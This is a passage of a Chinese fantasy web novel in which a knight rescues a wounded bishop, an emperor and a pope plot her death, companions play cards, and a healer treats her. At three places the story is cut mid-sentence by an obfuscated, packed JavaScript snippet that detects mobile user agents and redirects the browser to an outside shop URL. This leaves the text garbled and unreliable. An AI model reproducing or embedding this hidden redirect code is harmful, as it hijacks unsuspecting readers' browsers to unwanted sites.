阿纳托利无奈地笑了笑。 “你是有耐心的人,这样的担心恐怕多虑了。” 在闲聊一会儿后,莱安娜切入了正题。 “我睡了多久?” “一天,所幸没有伤到要害,我做了简单包扎,但有两处伤口有些深,需要尽快缝合。” 阿纳托利回答得很谨慎,没有涉及任何与伤情以外的信息。 同时他也祈祷着莱安娜别提四年前的那封信,他真的会尴尬得想跳车的。莱安娜似乎也给足了他颜面,全然忘记了那件事一般,只是简单地回应着。 “谢谢你。” 她微笑着点头致谢。 “能扶我坐起来吗?” “当然。” 阿纳托利扶她靠在座椅上的垫子上,尽可能避免碰到她的伤口,调整好位置后的莱安娜一边整理自己的头发,一边发问。 “现在,你要把我和奥菲莉亚带到哪里去?阿纳托利?” 听到她这样直呼其名,阿纳托利松了口气,这算把他们的对话定性为朋友之间的聊天了。 “去和我的同伴们汇合,其中有位优秀的医师,他可以为你提供治疗,不出意外还有半天就到了。” 莱安娜听了他的解释,没有说话,似乎在思考什么,阿纳托利本不想多提及本次暗杀,但看对方如此疑心的样子继续补充道。 “您不必担心我要利用您的身份,之所以要带您离开布鲁城,是因为一来我本就必须赶去圣城,其次我个人判断把你留在神使团并不安全,所以自作主张让你和我暂时同路,您接受治疗痊愈之后是否与我们同行都是您的自由。” “不要这么客气,阿纳托利” 她微微摇头,似乎很失落。 “我都明白的,我从未怀疑过你。” 她深深地看了阿纳托利一眼,随后继续说。 “而且真的很辛苦吧,神使团发现我失踪后应该就会封锁全城,出城恐怕费了不少劲?” “还好,我们的动作很快,神使团封城前就离开了,布鲁城的朋友帮了我不少忙,他还在驾车呢。” 阿纳托利用目光示意了一下在车外的欧文。 “那他……?” 莱安娜神色微动,阿纳托利知道她在担心什么。 “他都知道,我带你去他的住所简单处理的伤口,他知道你是主教,自然也会对我的身份有所猜疑,此时隐瞒没有意义,我已经对他和盘托出了,但他值得信赖,还会和我一起去圣都,你不必担心。” “嗯,你信任的人,应该不会有太大的问题。” 话虽如此,但她眼神中仍有一丝担忧。 然后她想起了一件事。 “对了,那三个杀手有人活着吗……” “当时情况紧急,我本想留一个活口问一下的,但因为他认出了我的佩剑,再加上担心神使团赶回来,所以我都清理了,没有帮你问出幕后黑手我很抱歉。” “你不必道歉,我其实是担心……算了,没什么,那些人都是亡命之徒,你就是真留活口也不一定能问出来,这已经是很好的结果了……” 莱安娜解释着,其实她是担心杀手万一认出阿纳托利,逃走了就麻烦了,既然阿纳托利都处理了,她便不再多说。 “也不是一无所获。” “哦?” “我和他们交手发现,这三个人的风格迥异,并不像来自同一组织。” 阿纳托利认真地回忆着,莱安娜在此时开口了。 “我记得那个‘二号’非常擅长近身战,匕首都快玩出花了,我觉得和蜘蛛会脱不了关系,‘一号’的锁链算是接近高阶的控制魔法。” “对,关于‘二号’我和你意见一致,‘三号’我有交手,我认为和‘二号’来自同样的组织,但是‘一号’一直维持着高强度的屏障阻止人前来救援,魔力绝非普通魔法师,行动组织很有章法,而且还认出了我的佩剑……” 阿纳托利说罢若有所思,顺着他的思路莱安娜也反应了过来。 “不像一般杀手,倒像是……” “军人。”阿纳托利和莱安娜异口同声。 “等我回到圣都会着手调查的,阿纳托利你不用太担心,有一个方向就好查多了。” 莱安娜说罢露出一个微笑。 “不过话说起来,阿纳托利你的实力还真是让我刮目相看……” 她补充道,随后抬起头饶有兴趣地打量着对方。 “两个高阶魔导师,一个高阶法师,你一个人解决了,还带着限制措施,看来教廷评估你远超普通高阶魔法师的实力并不夸张。” 阿纳托利被突然的夸奖打了个措手不及,有种难以言说的喜悦浮上心头,但他尽可能让自己表面看上去波澜不惊。 “这个……其实有一定运气成分。” “谦虚什么。” 她说道此处竟然笑了起来,阿纳托利瞥了她一眼,很快把头埋了下去。 “不,之所以如此顺利,是因为他们选择了兵分两路,而追捕奥菲莉亚的那个杀手过于轻敌,加上奥菲莉亚的幻术影响,他完全放松了警惕,我的偷袭容易了很多;那位用匕首的刺客实力最强,我赢在出其不意和速度,最后那个玩锁链的,为了困住你前期应该展开了高强度屏障,我和他过招时他的魔力并不多了……” 他一本正经地解释。 “那个限制措施让我的魔力只能发挥六七成左右,如果不是时机合适加上运气不错,和这三个人同时交手我也没有赢的把握……但这些人能够在你魔力见底的时候,绕开所有神使,神使团内部的内应你有想法吗?” 说罢他抬头认真地看着莱安娜。 作为高阶魔法师,魔力充沛且恢复也快,要抓住这个时机太难了。 莱安娜没有回答他,只是低垂着那双墨绿的眼眸。 阿纳托利突然反应过来,这显然涉及教廷内部。他不该多问,一时关心竟然失了分寸。 “抱歉,主教大人,我失言了……” “不要这样生分,阿纳托利,我以为我们还是朋友。” 莱安娜抬起头来,眼中闪过一丝不易察觉的失望。 “你只是说出了事情蹊跷的一点,这没什么。” 她笑着肯定了对方, “而且我们也不在教廷,至少现在不必那么拘谨。” 这算是表明态度了,但阿纳托利仍然提醒自己更加小心。毕竟对方是下一任教皇候选人,他需要保持必要的警惕。 他点了点头,没有再说什么。 莱安娜看他这副戒备的样子,再次开口解释。 “您不是之前推测神使团并不安全吗?您的推测完全正确,裴迪神官在监视我的魔力情况,并在我魔力耗尽的时候和杀手里应外合。” “裴迪神官是神使团的直接负责人,听教皇命令行事,维斯特利亚要杀你?” “但我感觉事情并非如此简单。” 她摇了摇头,目光冷静而冰冷。 “什么意思?” “我可以确定是这位神官在实际推动工作,但是很奇怪,这位神官在执行任务的过程中处处留了一线,甚至给过我要保存魔力的提示;而且按照维斯特利亚的行事风格,她如果要置我于死地没必要借杀手组织之手,下令神使团在我剿杀魔兽时背后捅刀子来的不是更干净利落?” 她撑着下巴,仔细分析着,阿纳托利听到此处补充道。 “我想不到教皇现在除掉你的理由,她最应该戒备的难道不该是维克多吗?那位可是有不少大领主的支持。” “这也是我没有想明白的。” 莱安娜无奈地笑了笑。 “她虽说不太支持我的想法,但更忌惮大贵族出身的维克多,没道理先对我下手……” 她突然不再说话。 “等等,我明白了,阿纳托利。” 莱安娜转头看向他。 “不是先对我下手,而是一石二鸟。” 阿纳托利稍做思考。 “你的意思是她借你的死来扳倒维克多。” 阿纳托利不自觉握紧了拳头。 维克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿纳托利敷衍道,如果可以他并不想在此时讨论如此棘手的问题,同时也不由得佩服莱安娜的精力,在病痛的折磨下她还有心思试探自己的计划。 “难道我说得不对?你的好妹妹一向精打细算,怎么可能允许你在局势不明朗之前和教皇候选人走得太近。” 她的语气非常从容,对自己的推测深信不疑。 阿纳托利没有接她的话,莱安娜的猜测甚至可以称得上一针见血,伊莉雅确实是如此打算的。只是阿纳托利不准备按照她的指令。 他本就下定决心,在回圣都后试着和莱安娜合作,但此时表明想要合作的态度,会不会有些趁人之危?会不会反而招致莱安娜的怀疑?莱安娜是否会以为自己救她只是有其他图谋? 他暂时没有表明态度,莱安娜瞥了他一眼继续说道, “我不是北地人,伊莉雅公爵是一位怎样的领袖我无权评价,也没有兴趣争论。但你作为北方防御团的团长还是得有自己的成算,你年少时南下那是别无选择,但今时不同往日,你并非只能对你那位妹妹言听计从,好好想想自己要什么吧,别再照着伊莉雅的方案按步就班了,毕竟如果她真的把你放在心上,就不会只是给你授予一堆荣誉,却连像样的爵位和封地都没有。” 她说罢释然地松了口气,自己提醒得如此直白,作为老朋友已经算的上仁至义尽,再说下去就有挑拨离间的嫌疑了。 阿纳托利很惊讶莱安娜竟然会如此越矩地提醒自己,过去几年里,莱安娜一直对北地事务保持沉默,现在却提醒得如此直接,很难不让阿纳托利怀疑她的态度,作为主教的拉拢和作为朋友的提醒可有着天壤之别。 “这算是作为主教对我的教诲?” 他试探道。 “这是朋友的告诫。” 莱安娜略带不满地瞪了他一眼,难得在她脸上出现如此不耐烦的表情。 “不过哪怕是你真的决定按照伊莉雅的计划来也没有任何关系。无论你怎么做,我都会帮你实现。” 她倚靠在垫子上,歪着脑袋看向窗外。带着浅浅的微笑诉说着并不简单的承诺。 “为什么?你应该不想插手北地的事情吧。” “谁叫你现在对我有救命之恩呢?阿纳托利团长,我这么恩怨分明的人总不能真的看你死在南方吧。” 她说罢叹了口气。 “所以等到了圣都,你就好好地保持中立和我划清界限吧,会平安回家的。” 莱安娜转过头笑着看他,像是全然没有一点难过。 “谢谢……你说的话我会放在心上的。” 阿纳托利干巴巴地接受了她的好意。他抬头注视着莱安娜,仿佛还有什么话没有说出口。 “还有什么问题吗?” 莱安娜察觉到了对方的目光。 “你是怎么认出我的,按道理改变面容的魔法加上面具和盔甲……” “直觉。” 莱安娜漫不经心地回答。 阿纳托利虽然知道她在胡扯,但一想到或许是莱安娜钻研出了新的魔法术式,对有关技巧保密也是魔法师们的习惯,便不再多问,但对方还是敏锐地捕捉到了他的不满。 “不相信?” 她侧过头来看他,随后噗嗤一下笑了出来。 “好吧,确实不是直觉,但答案我现在不能告诉你。” “到底是什么?” 阿纳托利不解地问。 “等我们真正告别的时候,我会告诉你答案的。” 不同于之前拘谨的浅笑,她终于露出了一个难得的灿烂笑容,连那双因为疲劳而无光的眼睛仿佛都明亮了起来。 34. 幕后之人 在莱安娜和阿纳托利一行人在布伦城区赶路的时候。王庭的卡特莱宫内,亨利皇帝正坐在书桌前抄写着《天堂之歌》。这首长诗是传统的献给死者的祝福语。 逝者的葬礼上,他的家人朋友往往会将各种祝福语写在纸上,然后伴随逝者一同入棺。 柔和的光衬得这位年轻的皇帝面容格外英俊,他字迹娟秀,已经写好的部分堪称完美。 “陛下,来通知了。” “结果如何,我赌赢了吗。” 明明是疑问句,却是肯定的语气。 他没有抬头仍在认真书写。 “陛下赢了。” 安东尼奥朝他鞠躬,但亨利没有笑,只是继续专注手中的作品,在写完了一句话后他才抬头看着自己的亲卫。 对方同样没有笑容。 “你看上去并不为我的胜利感到高兴。” 他叹了口气。 “别这样,安东尼奥,开心一点。” “陛下,我忠于您,自然希望您拥有每一场胜利,但我怎么可能期待莱安娜神官走向死亡呢?” 安东尼奥抬起了头,仿佛鼓起了勇气。 但亨利却冷淡地提醒了他。 “你似乎忘记了,她已经是莱安娜主教了。” “恕我失言。” “我知道她曾待你很好,老师她总是那么温柔,我也时常怀念着她来卡萨德拉城区教我魔法的时光。” 他抬起头,盯着安东尼奥,金色的眼瞳的神情让人琢磨不透。 “我从未期待她的死亡,我期待的只是单纯的胜利而已。” 他说罢叹了口气,又写下了新的一句悼词——愿你宽恕一切。 他微笑着,不紧不慢地开口。 “维斯特利亚很看重她,客观来说,老师是最符合她心意的继承人。借联合调查之名,我和维斯特利亚定下了赌约,内容就是老师能不能从布鲁城活下来。如果她选择和平民站在一起,她将会耗尽魔力,如果她有了维斯特利亚需要的大局观,放弃那些没有价值的人,这场任务结束后,维斯特利亚会钦定她为下一任教皇。” 他停下了笔,目光转移到了桌前的留影石上,那颗有些老旧的石头折射出有些模糊的影像,少年人的手中闪烁着魔法的微光,旁边的年轻女性惊喜地笑着。 这只有一瞬间的画面,是二人相处留下的唯一影像。 他看着影像,像是在缅怀。 “可惜了,老师忘记了很重要的事情,一是魔法本就是少数人的资源,二是教廷的权威正是来源于魔兽潮的治理,没有灾难就没有教会。所以维斯特利亚不可能让一个主张推动魔法平民化、彻底结束魔兽潮的人来作她的继承者。” 他说罢似乎有些惋惜地叹了口气。 “布鲁城的行动是我给维斯特利亚提议的,这是为她准备的一道选择题。维斯特利亚期待她在那里能够做出正确的抉择,放弃那些没有价值的平民。” 亨利伸出手再次将桌前的那枚石头捧了起来,笑着端详那已经有些模糊的画面,轻柔地摩挲过半透明的留影石。 “但我太了解老师了,她会一次又一次地把魔力浪费在那些没有价值的平民身上,而在这个过程中她会慢慢地陷入泥沼,再也爬不起来。届时迎接她的就只会是死亡了。” 他一边自言自语,一边关掉了影像石。 “维斯特利亚是希望她活着的,但我真的希望老师能安眠于此。” “我有疑问,陛下。” “讲吧,你应该也想问很久了吧。” 亨利带上了不太明显的笑容。 “陛下,我不明白,为什么您一定要除掉莱安娜主教呢?莱安娜主教虽然支持魔法平民化,长远来看会彻底撼动帝国的基础,魔兽潮的彻底结束也会导致北方的崛起,但想法是可以改变的,我们不能尝试改变她的想法吗?只要让她知道您的宏愿……” “你虽然说很敬爱老师,但还是不了解她。” 亨利叹了口气,无可奈何地说。 “她不会变的,我和她只能至死方休。” 说罢,他终于拿起了悼词,反复端详。 就在此时,一位身着白袍的神使通报后进入室内。 “维斯特利亚教皇陛下邀请您前往神殿商议要事。” 亨利放下了悼词,面无表情地盯着来者。 “我和教皇的赌约已经结束,关于维克多主教的联合调查她一人安排即可,还有什么其他事?” “情况有变,据裴迪神官报告,莱安娜主教没有死亡,而是失踪。 亨利睁大了眼睛,安东尼奥很难得见到他如此惊讶,喜怒形于色的一面。 但他很快冷静下来。 “安东尼奥,让人备车,我们立刻出发。” 这个年轻的青年此刻眼神异常深沉,那双金色的眼睛在灯下的阴影中暗得发棕,仿佛深不见底的海沟,能够将阳光尽数吞没。 亨利很快就见到了维斯特利亚。 她正靠在床上,神侍露西正在收拾碗碟,看来她刚喝完药。 “露西,你出去。” 露西行礼后,端着托盘出门去,安东尼奥紧随其后。 空荡荡的室内只剩下了两人。 亨利走近了一些,在距离床还有三米左右的时候停了下来。 他抬眸打量着这个苍老的影子。 老人靠着枕头勉强直着上半身,纱幔的遮挡和昏暗的烛光似乎想要掩盖她憔悴的脸色,但却遮不住衰老虚弱的气息。 她的呼吸声比寻常人更重,同时空气里还有浓厚的药味,亨利知道她的老毛病应该又犯了,隔着纱幔也能猜到维斯特利亚枯槁的那张脸,以及仍然像鹰一般锐利的眼睛。 但哪怕是病痛缠身之际,这人的头发仍打理得整整齐齐,上半身脊背尽可能绷的笔直。 “教皇陛下这里竟然没有椅子,要我站着同您讲话也太傲慢了吧。” “年轻人身子骨这么好,多站站也没什么不好,别一天到晚都想坐在我的椅子上。” “看来您的精神不差嘛,有精力如此数落我,亏我还为您担心不少。” “闲话免了,皇帝陛下,莱安娜主教失踪了,咱们似乎都没赢呢。” “教皇陛下是在担心此举之后莱安娜会察觉危险,在回来后选择和维克多联手?” 亨利带着浅笑,朝维斯特利亚靠近一步。 “提前激化矛盾并不是你我愿意看到的。” 维斯特利亚说罢叹了口气。 “教皇陛下放心,莱安娜已经死了,不会回来。” 亨利笃定道。 维斯特利亚没有说话,亨利继续补充道。 “其实,莱安娜主教是否活着并不重要,重要的是让所有人都相信她死了。” 维斯特利亚隔着纱幔仍然没有开口,打量着这张年轻的面孔,看着亨利那双温文尔雅的双眸她不由得笑了一声。 “怎么了教皇陛下?” “没什么,只是觉得哈雷皇帝也很幸运不是吗,有你这样的孙辈。” “教皇陛下谬赞了,没有教会的支持,我这个旁系哪有机会成为哈雷皇帝的继承人。” 他朝维斯特利亚微微鞠躬。 “算是可行的提议。” “那我静候教皇您的佳音。” 亨利转身退去。 “准备参加葬礼吧,皇帝陛下。” 维斯特利亚关切地冲他笑了,这一次亨利没有接话。 ……… 露比早就已经到达了在约定汇合的地点,准确来说她比阿纳托利提前到了两天。 她推测阿纳托利恐怕是遭遇了什么意外,只能在心里默默祈祷这人能快点到来,如果超过了教廷预计时间,阿纳托利虽然会被指指点点,但会被实际追责的肯定是她。 好在阿纳托利的同伴们仅在她到达半天后便如约而至,带队的人有两个,一位叫列昂尼德,是位热情风趣的高大魔导师,另外一位名叫娜塔丽娅,露比感知到她和自己一样,是中阶魔法师。 他们的到来极大地缓解了露比的无聊。列昂尼德从行李中掏出了一副牌,娜塔莉娅对此类游戏似乎不感兴趣,一见他拿牌出来就果断地上楼休息去了,列昂尼德询问马克西姆以及其他同伴是否有人想要参与,但他询问的目光径直绕开了露比。 “您怎么不问我是否要参与?”露比感到有些不满,直接质疑道。 “这个游戏很复杂,而且你应该也不会吧,我从未听说过哪位神官小姐擅长这种游戏。” 列昂尼德倒是对她的发问感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046854|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到有些意外,如实说出了自己的想法。 他的语气不带恶意,但言辞内容让露比有些不快。 “我是不会,但不会可以学,并不能直接否定我参加游戏的资格吧。” 露比反驳道。 “但你如果完全不会,不是会影响我们吗?” “三局。” 露比伸出三根手指,晃了晃。 “教我三局,我能学会,你们总是需要有人轮着来的,不是吗?” 列昂尼德耸了耸肩,示意马克西姆给露比发牌。 “我们可不会让着你。” 列昂尼德觉得露比不过是逞强罢了,不少女士总是会强调自己的能力如何,不要轻视她们,但一旦开始竞争厮杀,又会抱怨对方不懂得礼让女士,不懂得怜香惜玉。这位神官小姐估计也是一类人,估计过一会儿她就会因为输钱输得太多而放弃了。 列昂尼德对于任何对手都是一视同仁地认真,才不会给这些小姐放水。 但这次他猜错了。 露比在玩了两把以后很快记住了游戏规则,但是很明显不熟悉,出牌的速度很慢,思路也很明显,一连三局都毫无悬念的输掉了,但她的学习速度还是让列昂尼德非常惊讶。 “这是第三局,你又输了。” 列昂尼德平静地说。 “好吧,确实很复杂,看来我还得再练练,那祝各位玩得愉快,我不打扰了。” 她礼貌地起身,准备离开。 “你不继续和我们一起玩?” “按照约定,我输了三局,所以……” “你说的是学会,可不是精通,坐下吧露比小姐,还是说你觉得再学一晚上也赢不了我?” 列昂尼德笑着说。 露比琥珀色的眼中闪过一道光,拉开椅子坐下。 “计算概率可是我的强项,我一定可以赢的,列昂尼德先生你可别后悔。” “拭目以待。” 此时列昂尼德仍然相当自信,没过多久他就有些后悔了。 这位女士学习的速度有些过于快了,在过了两个钟头后她就完全熟悉了这个游戏,列昂尼德不得不更加小心地出牌。 打到半夜的时候,列昂尼德憋着一口气拼尽全力没让她赢,但这小姐已经杀红了眼。 到后半夜时,列昂尼德已经有些疲惫了,早就没有了打牌的兴趣,但他和马克西姆每每想要离场去楼上睡觉,露比就会央求他们再赌最后一局。 到半夜的时候列昂尼德和他的同伴马克西姆再也忍不下去了,说什么都不打了,起身准备离开。 然后发现他们桌子的外围多了一圈防御结界。 “打。” 露比平静地说,但眼神却异常兴奋。 写满了“我一定要赢。” 马克西姆和列昂尼德看着眼前近乎高阶的结界,心里发怵,忍不住吞了口唾沫。 “你为什么要叫她打牌……” 马克西姆抱怨道。 “她看上去就是一位普通女士,我怎么知道赌起来这么疯。” 列昂尼德欲哭无泪。 “你要不放放水,让她赢一局得了。” 马克西姆用手肘碰了碰列昂尼德,压低声音说道。 “不许放水。” 坐在另一头的露比拍了下桌子表达抗议。 马克西姆欲哭无泪,打个牌竟然把结界都放出来了,谁知道再拒绝她,这疯女人会干出什么事来? “再打三局,让我试试!” 她央求道,但语气没有一点求别人该有的样子。 列昂尼德和马克西姆叹了口气,坐了下来。 没想到在倒数第二局的时候竟然真的让露比赢了一把,正当马克西姆松一口气,想要夸夸列昂尼德放水放得不动声色之时,抬头看到了列昂尼德拿着牌微微颤抖的手。 “不可能……” 他喃喃自语,原本疲惫无神的双目竟然燃烧出了斗志。 “再来,再打一局。” 列昂尼德一拍桌子开始洗牌,露比正在兴奋的劲头上,满脸写着乐意奉陪。 马克西姆只觉得身心俱疲。 于是马克西姆被两人拉着坐牢,他期待阿纳托利赶来的心愿,此时竟然比露比还要强烈几分。 35. 紧急治疗 或许马克西姆的祈祷真的有效,阿纳托利不负所望,总算在第二天的清晨到达了旅店。 但露比三人那时候仍然在激烈地厮杀,直到服务员敲了敲他们的结界,通知他们同伴的马车已经到了后院。 马克西姆松了口气,想着总算是可以逃离牌桌了。 此时的露比也是如梦初醒,回想起了正事,觉得沾赌的自己确实变得有些疯狂。 “好,打得很过瘾,露比神官,回到圣都后,有空继续。” 列昂尼德露出了满足的笑容,这算是他这两个月来玩得最痛快的一次。 “那我可不会手下留情。” 露比带着从容的笑容,骄傲地昂起了她的脑袋。 垂头丧气的只有马克西姆一个人,他最先起身,幽怨地说道。 “我要去补觉了,阿纳托利长官从不介意这种形式礼节的,我就不迎接他了。” 他快步走上楼梯,碰到了睡眼惺忪正在下楼的娜塔莉娅,她像是没有睡醒,正在揉眼睛,一抬头就看到带着黑眼圈的三人。 “你们不会打了一晚上的牌吧?” 她不可思议地摇了摇头。 “小心一会儿赶路的时候猝死。” 还坐着的两人有些心虚地朝她笑了笑。 过了牌瘾的露比也缓缓起身,慢悠悠地伸了个懒腰,然后眯着眼睛走到门口,娜塔莉娅和列昂尼德跟在她的身后。 她脸上还带着满足的笑容,不过马上她的笑容就僵硬在了脸上。 “什么!” 她的惊呼吓了正走过来的二人一大跳。 “怎么了?露比女士?” 露比瞪大了眼睛,然后猛然又搓了两下眼睛,确认自己不是熬夜眼睛花了。 阿纳托利正朝这边急匆匆走来,他还抱着一个人,而旁边还跟着一个孩子。 “那不是奥菲莉亚吗?” 为什么奥菲利亚会和阿纳托利一起出现在这个地方。难道他抱着的那个人是莱安娜?莱安娜怎么了?无数个疑问在她的内心升起,她不由得攥紧了外袍 原本熬夜,她头脑有些不清醒,现在被刺激得一点困意都没有了。 阿纳托利快步走了过来,没有功夫和他们寒暄,开口问道。 “马克西姆呢?这里有受伤的人!” 他担忧地看着臂弯里的伤员,那人裹着斗篷,脸被帽子遮住了一半,只是垂下的手臂露了出来,列昂尼德一看便知,伤者是位女士。 “他刚睡下……” 列昂尼德回答后有些心虚,毕竟是他们打牌才害得马克西姆现在掉线了。 “伤情很着急,让他过来,我稍后给你们解释。” 阿纳托利此时也顾不上细问马克西姆为何会在大早上睡觉,甩下一句话后抱着伤员径直走向室内。 列昂尼德也遵照指示去叫倒霉蛋马克西姆起来干活。 “我去叫马克西姆,露比你照看下这个小孩子吧。” 他风风火火地也跟着上了楼梯,只剩下了露比和奥菲利亚两人。 露比观察周围没有其他人了,蹲下身压低声音问道。 “那人是不是……” “是。” 没等她问完,奥菲利亚就斩钉截铁地点了点头。 露比的心揪紧了。 “到底怎么回事?你们为什么在这里?她还受了伤?” 露比压低声音。 “说来话长,露比姐姐,一会儿还得请你装作什么都不知道。” “我会的,毕竟这里的战士们可都不太待见教廷,但你快告诉我到底发生了什么……” “就是……” 奥菲莉亚刚准备解释,突然噤声。 露比正对其突然的沉默摸不着头脑,背后楼梯口就传来略带沙哑的女声。 “露比你认识这小孩?” 娜塔莉娅横抱双臂,居高临下地打量着二人。 “什么时候来的?” 露比心里犯嘀咕,但很快笑着开始解释。 “之前不认识,但我看这孩子很投缘,咱们交个朋友吧,小家伙?” 露比带着灿烂的笑容,蹲下身平视着奥菲莉亚,伸出手,掌心中躺着一颗糖。 奥菲莉亚配合地牵住了她的手。 娜塔莉娅深深地看了二人一眼,转身走进房间。 露比松了口气,这里的魔导师和魔法师都是什么怪物,魔力波动和气息都隐藏得天衣无缝,她竟然一点都没有察觉。 “露比姐姐,那……” “现在先去看看她,其他事情,等她醒了再说。” 马克西姆被列昂尼德揪起来的时候简直怨气冲天,狠狠地给了列昂尼德一拳。 “你疯了?我才刚睡着。” 列昂尼德正面吃了他一拳,严肃道。 “别睡了,正经的,有伤员。” 马克西姆倒是很快清醒过来,翻身下去拿工具。随后就跑到了之前预留给阿纳托利的房间。 房间里除了刚刚去查物资的列昂尼德,其他人都在,伤员已经安置在了床上,斗篷的帽子已经耷拉下去,露出苍白的面容,但病患仍然裹着斗篷。 “马克西姆已经来了,你们其他人先出去。” 奥菲利亚似乎还想说什么,被露比捏了一下手后知趣地闭嘴。 马克西姆倒是有些疑惑,大家都是出生入死的战友,往日治疗也从不避讳,为什么今天这么讲究。 但等其他人退居门外关上门口后,阿纳托利方才抽走裹在伤患身上的斗篷。 “这制服是……主教的蓝袍。” 马克西姆瞪大了眼睛,有些不可置信地看着眼前昏睡的病人又转头看了看阿纳托利。 “难怪要把其他人叫出去。” 马克西姆心下了然,如果让门外两人知道这里躺着一个主教,解释的功夫肯定会耽搁救治的时间。虽然不知道自己的长官怎么和神职人员搭上线的,但眼下自己还是先救人再说吧。 检查后他倒是松了口气,虽然伤患身上伤口很多,但没有伤到内脏,需要缝合的伤口有两处,昏迷也不是因为中毒,主要是体力魔力透支加上失血过多。 “情况怎么样?” “其他倒是小伤,就是肩膀和腰部这两处伤口太深了,而且一路颠簸,必须立刻治疗。” 他说着,面露难色。 “怎么了?有什么问题。” “我们来的路上遇袭,损失了一些物资,现在没有麻痹痛觉的药物……” “一点也没有?替代物也没有吗?” “没有了。” 马克西姆斩钉截铁地摇了摇头。 阿纳托利不再说话,为难地看着床榻上昏睡的病人。 见他这幅神情,马克西姆小心翼翼地说。 “虽然很受罪,但这个病人目前没有别的选择,不能再拖了。” “我知道……” 他背对着马克西姆,因而这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一击擦这马克西姆的脸飞了过去,他惊魂未定。阿纳托利及时在自己面前展开了防御。而莱安娜靠在床背上,仍然闭着眼,头歪歪地垂下,左手手腕被阿纳托利紧紧握住。 “呼……” 马克西姆松了口气,如果不是阿纳托利反应及时,自己刚刚已经被轰飞了。 而奥菲利亚也在这一击之后如梦初醒般睁开了眼睛。 “怎么会?我被她的幻境排除出来了!” 她眼里满是不可置信。 “哪怕在无意识的状态下,她的精神力竟然仍能保持这种水平……” 她喃喃自语道。 “你对她施展了幻术,却无法控制?” “我可以控制幻境的中止和结束,但是幻境的内容我却无能为力,她的精神力太强了。” 奥菲莉亚摇了摇脑袋。 “但好在无论幻境的内容是什么,其隔绝痛觉的效果不会改变。” 她补充道。 “如果没有你编写,她会在幻境里看到什么?” 阿纳托利仍然很不放心。 “她的记忆,或者记忆的延伸。” 36. 至亲至恨 “莱安娜?你在发什么呆?怎么不吃饭?” 年迈的声音在耳边响起。 莱安娜觉得自己像是做了一个很长的梦,才清醒了过来。她看向正在说话的莉丽婆婆,坐在一旁的卡特爷爷,还有低头正在大快朵颐的吉姆。 她低下头,是她最喜欢的炖牛肉和蘑菇汤,饭菜的香气在整个屋子里弥漫。 眼泪不受控制地就落了下来。 好难过,但为什么这么难过? “姐,你怎么了?”坐在她旁边的吉姆瞪大了眼睛,不解地抓了抓头。 “不对啊,你帮我打架明明打赢了那些人啊?你现在哭什么?”他喃喃自语道。 “你俩出去打架了?”莉丽婆婆严厉的质问声响起,吉姆立刻缩起了尾巴。 “算了算了。”卡特爷爷劝道,“他们不会欺负别人,真打人了估计也是对方做得太过分。” “就是的!爷爷!”吉姆见有人支持的苗头,立刻义正严辞地开始陈述:“就是姆德那臭小子,不仅来偷挖我们种的红薯,还骂我是个不祥的人,说就是因为我,我妈妈才死的……”他很不服气地撇了撇嘴。“然后我和姐姐就冲了过去,他吓得立刻就跑,哈哈乐死我了!他跑不过姐姐,被按在地上打!我也过去踹了几脚……” “哦,赢了哦,不错,红薯抢回来了吗?” “当然!”吉姆自豪地昂起了脑袋。 “姆德固然不对,但你们打人……算了,下手别太重。”莉丽婆婆妥协了一点。 “我力气又不大,姐姐呢一向有分寸的,诶姐姐?你为什么哭啊?” 在莱安娜擦干泪水后,他们继续用餐,时间缓缓地流逝,直到夜晚。 莱安娜躺在了那张又硬又小的木床上时,心彻底放了下来,有一种沉甸甸的满足感围绕着她。 而这时候吉姆敲开了她的房间门,给了她一个木头做的小马。 “我明天就要去当学徒了。” “你很紧张吗?吉姆。” “嗯,我怕我做得不好。” “别这么说,我俩可是一起去面试学徒的,但老师傅说我没有一点天赋。”莱安娜说着举起了自己的手,“我也不知道我擅长什么?至少吉姆已经找到自己擅长做的事情了啊?”她转头冲吉姆笑了笑。 “但我万一做的不够好呢?万一我搞砸了呢?万一师父打我怎么办?城里的店离我们家太远了,我下次挨打就没你帮我了。” “你自己倒是勇敢一点啊!”莱安娜有些嫌弃地瞥了他一眼。 “这和勇气没什么关系,我可勇敢了,但我力气小嘛。”吉姆无奈地摊了摊手。“今天谢谢你姐姐,帮我揍了那个家伙。” “不用谢我,他也骂过我,但当时他们那边人有点多,我就没动手。”莱安娜平静地陈述道。 “他骂你什么?”吉姆很疑惑,莱安娜在他心里简直是超级强大的存在,力气大、长得高、做事又快、感觉总能想出一堆办法。姆德还能挑出她什么毛病?打人很痛吗? “他说我是没人要的孤儿。”莱安娜淡淡地说道。 “啊……”吉姆愣了一下。“对不起姐姐,我不该问的。” “你道什么歉?该忏悔的人是他,你不是还帮我踹了两脚吗?莱安娜朝他眨了眨眼睛。 “而且我觉得你最好祈祷我们种的红薯真的能长出来,否则等今天你给婆婆编的借口穿帮,就等着回家时被训吧,她最讨厌我们说谎了。”莱安娜有些幸灾乐祸地瞥了他一眼。 “喂,我说谎那是没有办法的事!总不能告诉婆婆我们是单纯为了出口气打的人吧。”吉姆不满地撇了撇嘴,过了一会儿后他才开口问: “我走了之后,你会想我吗?” “不会,我会霸占你的房间,还要用你寄回家的薪水买蛋糕吃。” “那我也不想你了!小马还给我!”十岁的吉姆只能无力地发出抗议,并抢回了自己雕刻的小马,走到了门口。 但沉默一会儿后,因为没有人挽留,他略有些尴尬地走了回来。 